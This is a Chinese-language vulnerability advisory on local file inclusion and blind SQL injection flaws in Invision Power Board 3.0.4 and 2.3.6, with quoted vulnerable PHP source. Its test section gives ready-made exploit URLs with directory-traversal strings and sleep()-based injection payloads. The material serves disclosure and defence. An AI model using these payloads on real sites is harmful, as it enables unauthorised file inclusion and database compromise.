Invision Power Board本地文件包含和SQL注入漏洞

受影响系统:

Invision PS IPB 3.0.4
Invision PS IPB 2.3.6

描述:

Invision Power Board是一个非常流行的PHP论坛程序。

远程攻击者可以利用IPB的以下代码包含服务器上任意位置所存储的PHP文件:

line | file: admin/sources/base/ipsController.php
142  |public function getCommand( ipsRegistry $registry )
143  |{
144  |         $_NOW = IPSDebug::getMemoryDebugFlag();
145  |
146  |         $module    = ipsRegistry::$current_module;
147  |         $section   = ipsRegistry::$current_section;
148  |         $filepath  = IPSLib::getAppDir( IPS_APP_COMPONENT ) .  
‘/’ . self::$modules_dir . ‘/’ . $module . ‘/’;
149  |
150  |         /* Got a section? */
151  |         if ( ! $section )
152  |         {
153  |                 if ( file_exists( $filepath .  
‘defaultSection.php’ ) )
154  |                 {
155  |                         $DEFAULT_SECTION = ”;
156  |                         require( $filepath .  
‘defaultSection.php’ );
157  |
158  |                         if ( $DEFAULT_SECTION )
159  |                         {
160  |                                 $section = $DEFAULT_SECTION;
161  |                         }
162  |                 }
163  |         }
164  |
165  |         $classname = self::$class_dir . ‘_’ .  
IPS_APP_COMPONENT . ‘_’ . $module . ‘_’ . $section;
166  |
167  |         if ( file_exists( $filepath . ‘manualResolver.php’ ) )
168  |         {
169  |                 require_once( $filepath . ‘manualResolver.php’ );
170  |                         $classname = self::$class_dir . ‘_’ .  
IPS_APP_COMPONENT . ‘_’ . $module . ‘_manualResolver’;
171  |         }
172  |         else if ( file_exists( $filepath . $section . ‘.php’ ) )
173  |         {
174  |                 require_once( $filepath . $section . ‘.php’ );
175  |         }
…  |

174行的require_once函数使用$section变量创建所要包含的php文件的路径,变量分配了以下值:

line  | file: admin/sources/base/ipsRegistry.php
1654  | ipsRegistry::$current_section = ( ipsRegistry::
$request[‘section’] ) ? ipsRegistry::$request[‘section’] : ”;

这个值来自用户通过GET或POST方式所提供的变量。尽管对整个$request数组执行了过滤,但由于实现friendly URLs功能的函数中的一个bug可以绕过过滤措施。

line | file: admin/sources/base/ipsRegistry.php
1188 | private static function _fUrlInit()
1189 | {
…  |
1195 |     if ( ipsRegistry::$settings[‘use_friendly_urls’] )
1196 |     {
…  |
…  |
1235 |         $uri = $_SERVER[‘REQUEST_URI’]  ?  
$_SERVER[‘REQUEST_URI’]  : @getenv(‘REQUEST_URI’);
1236 |
1237 |         $_toTest = $uri;        //( $qs ) ? $qs : $uri;
…  |
…  |
…  |
1306 |         //—————————————–
1307 |         // If using query string furl, extract any
1308 |         // secondary query string.
1309 |         // Ex:
http://localhost/index.php?/path/file.html?
key=value
1310 |         // Will pull the key=value properly
1311 |         //—————————————–
1312 |
1313 |            if( substr_count( $_toTest, ‘?’ ) > 1 )
1314 |            {
1315 |                $_secondQueryString     = substr( $_toTest,  
strrpos( $_toTest, ‘?’ ) + 1 );
1316 |                $_secondParams          = explode( ‘&’,  
$_secondQueryString );
1317 |
1318 |                if( count($_secondParams) )
1319 |                {
1320 |                      foreach( $_secondParams as $_param )
1321 |                      {
1322 |                         list( $k, $v )  = explode( ‘=’, $_param );
1323 |
1324 |                         $k      = IPSText::parseCleanKey( $k );
1325 |                         $v      = IPSText::parseCleanValue( $v );
1326 |
1327 |                         $_GET[ $k ]     = $v;
1328 |                         $_REQUEST[ $k ] = $v;
1329 |                         $_urlBits[ $k ] = $v;
1330 |
1331 |                         ipsRegistry::$request[ $k ]     = $v;
1332 |                      }
1333 |                }
1334 |            }
1335 | }
…  |

上述代码允许从次要查询字符串中检索额外的变量并保存在$request数组和$_GET、$_REQUEST全局变量中。由于从之前没有过滤的全局变量$_SERVER[‘REQUEST_URI’]中直接获取了查询字符串且无法检查数组中是否存在请求URI字符串所提供的变量,也没有调用cleanGlobals函数过滤这些值。可在次要查询字符串中传送section变量绕过对“../”和“%00”序列的过滤,遍历目录包含系统中已有的php文件。

IPB的以下函数中存在SQL注入漏洞:

line | file: admin/applications/forums/sources/classes/moderate.php
1820 | /**
1821 |  * Create ‘where’ clause for SQL forum pruning
1822 |  *
1823 |  * @access      public
1824 |  * @return      boolean
1825 |  */
1826 | public function sqlPruneCreate( $forum_id, $starter_id="",  
$topic_state="", $post_min="", $date_exp="", $ignore_pin="" )
1827 | {
1828 |     $sql = ‘forum_id=’ . intval($forum_id);
1829 |
1830 |     if ( intval($date_exp) )
1831 |     {
1832 |         $sql .= " AND last_post < {$date_exp}";
1833 |     }
1834 |
1835 |     if ( intval($starter_id) )
1836 |     {
1837 |         $sql .= " AND starter_id={$starter_id}";
1838 |
1839 |     }
1840 |
1841 |     if ( intval($post_min) )
1842 |     {
1843 |         $sql .= " AND posts < {$post_min}";
1844 |     }
1845 |
1846 |     if ($topic_state != ‘all’)
1847 |     {
1848 |         if ($topic_state)
1849 |         {
1850 |             $sql .= " AND state='{$topic_state}’";
1851 |         }
1852 |     }
1853 |
1854 |     if ( $ignore_pin != "" )
1855 |     {
1856 |         $sql .= " AND pinned=0";
1857 |     }
1858 |
1859 |
1860 |     return $sql;
1861 | }

所有带有intval()的IF语句都用于确保传送给函数的参数都为数字。由于intval()的运行方式,可通过类似于“1 OR sleep(5)”的字符串来欺骗这个函数。在这种情况下intval()会返回1值以满足IF条件并在查询中放置字符串。代码中两次使用了sqlPruneCreate函数执行一些moderator的任务,其中一个调用位于:

line | file: admin/applications/forums/modules_public/moderate/
moderate.php
2323 | protected function _pruneMove()
2324 | {
2325 |     //—————————————–
2326 |     // Check
2327 |     //—————————————–
2328 |
2329 |     $this->_resetModerator( $this->topic[‘forum_id’] );
2330 |
2331 |     $this->_genericPermissionCheck( ‘mass_move’ );
2332 |
2333 |     ///—————————————–
2334 |     // SET UP
2335 |     //—————————————–
2336 |
2337 |     $pergo          = intval( $this->request[‘pergo’] ) ?  
intval( $this->request[‘pergo’] ) : 50;
2338 |     $max            = intval( $this->request[‘max’] );
2339 |     $current        = intval($this->request[‘current’]);
2340 |     $maxdone        = $pergo + $current;
2341 |     $tid_array      = array();
2342 |     $starter        = trim( $this->request[‘starter’] );
2343 |     $state          = trim( $this->request[‘state’] );
2344 |     $posts          = intval( $this->request[‘posts’] );
2345 |     $dateline       = intval( $this->request[‘dateline’] );
2346 |     $source         = $this->forum[‘id’];
2347 |     $moveto         = intval($this->request[‘df’]);
2348 |     $date           = 0;
2349 |     $ignore_pin     = intval( $this->request[‘ignore_pin’] );
2350 |
2351 |     if( $dateline )
2352 |     {
2353 |         $date   = time() – $dateline*60*60*24;
2354 |     }
2355 |
2356 |     //—————————————–
2357 |     // Carry on…
2358 |     //—————————————–
2359 |
2360 |     $dbPruneWhere = $this->modLibrary->sqlPruneCreate( $this-
>forum[‘id’], $starter, $state, $posts, $date, $ignore_pin );
2361 |
2362 |     $this->DB->build( array(
2363 |                                 ‘select’        => ‘tid’,
2364 |                                 ‘from’          => ‘topics’,
2365 |                                 ‘where’         => $dbPruneWhere,
2366 |                                 ‘limit’         => array( 0, $pergo ),
2367 |                         )               );
2368 |     $batch  = $this->DB->execute();
…  |

可见来自用户的$starter和$state变量没有转换为数字便传送给了sqlPruneCreate函数,只要第一个字符为数字$starter变量中所传送的字符串就会被放置在查询中,这就允许登录的moderator执行SQL注入攻击。

利用这个漏洞的限制很多:仅有WHERE语句可控,引号会被过滤掉,UNION或子选择也是禁止的。最重要的是查询结果不会在浏览器中输出,因此攻击只能为盲注。

<*来源:Dawid Golunski
  
  链接:
http://marc.info/?l=bugtraq&m=125994099831462&w=2
*>

测试方法:

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

http://www.example.com/forum/index.php?app=core&amp;module=global&amp;section=register&amp;any=?section=../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/inc
http://www.example.com/forum/index.php?app=core&amp;module=global&amp;section=register/register/page__section__../../../../../../../../../../../../../../../../../../../.././tmp/inc__
http://www.example.com/?app=forums&amp;module=moderate&amp;section=moderate&amp;f=1&amp;do=prune_move&amp;df=3&amp;pergo=50&amp;dateline=0&amp;state=open&amp;ignore_pin=1&amp;max=0&amp;starter=1%20AND%20starter_id=1%20OR%20substr(version(),1,1)=5%20AND%20sleep(15)%20–%20skip%20&amp;auth_key=c4276b77602767228faa9760eb4a5abd
http://www.example.com/forum/?act=mod&amp;f=1&amp;CODE=prune_move&amp;df=3&amp;pergo=50&amp;dateline=0&amp;state=open&amp;ignore_pin=1&amp;max=0&amp;starter=1%20AND%20starter_id=1%20OR
%20substr(version(),1,1)=5%20AND%20sleep(16)%20–%20skip%20&amp;auth_key=040c4a6e768d626b4c05a4bb0fbf315c

建议:

厂商补丁:

Invision PS
———–
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.invisionpower.com/

发表评论?

0 条评论。

发表评论